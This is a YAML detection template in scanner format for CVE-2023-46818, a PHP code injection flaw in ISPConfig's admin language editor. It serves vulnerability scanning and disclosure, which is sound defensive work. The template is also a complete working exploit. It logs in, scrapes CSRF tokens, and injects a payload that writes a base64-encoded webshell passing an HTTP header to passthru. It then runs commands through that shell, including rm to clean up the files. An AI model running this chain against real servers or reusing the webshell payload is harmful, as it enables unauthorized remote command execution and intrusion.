id: CVE-2023-46818

info: 
  name: ISPConfig PHP Code Injection if allow_admin_langedit is enabled 
  author: non-things
  severity: high
  description: |
    An issue was discovered in ISPConfig before 3.2.11p1. PHP code injection can be achieved in the language file editor by an admin if admin_allow_langedit is enabled.
  reference: 
    - https://nvd.nist.gov/vuln/detail/CVE-2023-46818
    - https://www.ispconfig.org/blog/ispconfig-3-2-11p1-released/
    - http://packetstormsecurity.com/files/176126/ISPConfig-3.2.11-PHP-Code-Injection.html
    - http://seclists.org/fulldisclosure/2023/Dec/2

  classification: 
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 7.2
    cve-id: CVE-2023-46818
    cwe-id: CWE-94

  metadata: 
    verified: true
    max-requests: 1
    product: ispconfig
  tags: ispconfig,rce

variables: 
   lang-file: sbcoeybcmrpkgkiutdflqzfwvj.lng
   websh-file: f1f755911b4ce3bde7f811de445aebf1.php
   # Base64 encoded webshell: <?php print('____'); passthru($_SERVER['HTTP_C']); print('____'); ?> 
   payload: "%27%5D%3Bfile%5Fput%5Fcontents%28%27{{websh-file}}%27%2Cbase64%5Fdecode%28%27PD9waHAgcHJpbnQoJ19fX18nKTsgcGFzc3RocnUoJF9TRVJWRVJbJ0hUVFBfQyddKTsgcHJpbnQoJ19fX18nKTsgPz4%3D%27%29%29%3Bdie%3B%23i"
   echo-cmd-hash: fa8b39a9446212dff83ed5d830f044a3
   echo-cmd: "echo {{echo-cmd-hash}}"

http: 

  - method: POST
    path:
      - "{{BaseURL}}/login/"
    headers:
      Content-Type: application/x-www-form-urlencoded
    body: username={{username}}&password={{password}}&s_mod=login

    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200

      - type: word
        part: header
        words:
          - "Set-Cookie"

  - method: POST
    path: 
      - "{{BaseURL}}/admin/language_edit.php"
    headers:
      Content-Type: application/x-www-form-urlencoded
    body: lang=en&module=help&lang_file={{lang-file}}

    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200

      - type: word
        words:
          - "_csrf_id"
          - "_csrf_key_" 
        condition: and

    extractors:
      - type: regex
        name: lang_file_location
        internal: true
        group: 1
        regex: 
          - "<legend>Language file: (.*)</legend>"

      - type: regex
        name: csrf_id
        internal: true
        group: 1
        regex: 
          - "_csrf_id\" value=\"(.*)\" />"

      - type: regex
        name: csrf_key
        internal: true
        group: 1
        regex:
          - "_csrf_key\" value=\"(.*)\" />"

  - method: POST
    path:
      - "{{BaseURL}}/admin/language_edit.php"
    headers:
      Content-Type: application/x-www-form-urlencoded
    body: "lang=en&module=help&lang_file={{lang-file}}&_csrf_id={{csrf_id}}&_csrf_key={{csrf_key}}&records[%5C]={{payload}}"

    matchers:
      - type: status
        status:
          - 200

  - method: GET
    path: 
      - "{{BaseURL}}/admin/{{websh-file}}"
    headers:
      C: "{{echo-cmd}}"

    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200

      - type: word
        words:
          - "{{echo-cmd-hash}}"

  - method: GET
    path:
      - "{{BaseURL}}/admin/{{websh-file}}"
    headers:
      C: "rm {{lang_file_location}}"

    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200

  - method: GET
    path:
      - "{{BaseURL}}/admin/{{websh-file}}"
    headers:
      C: "rm {{websh-file}}"

    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200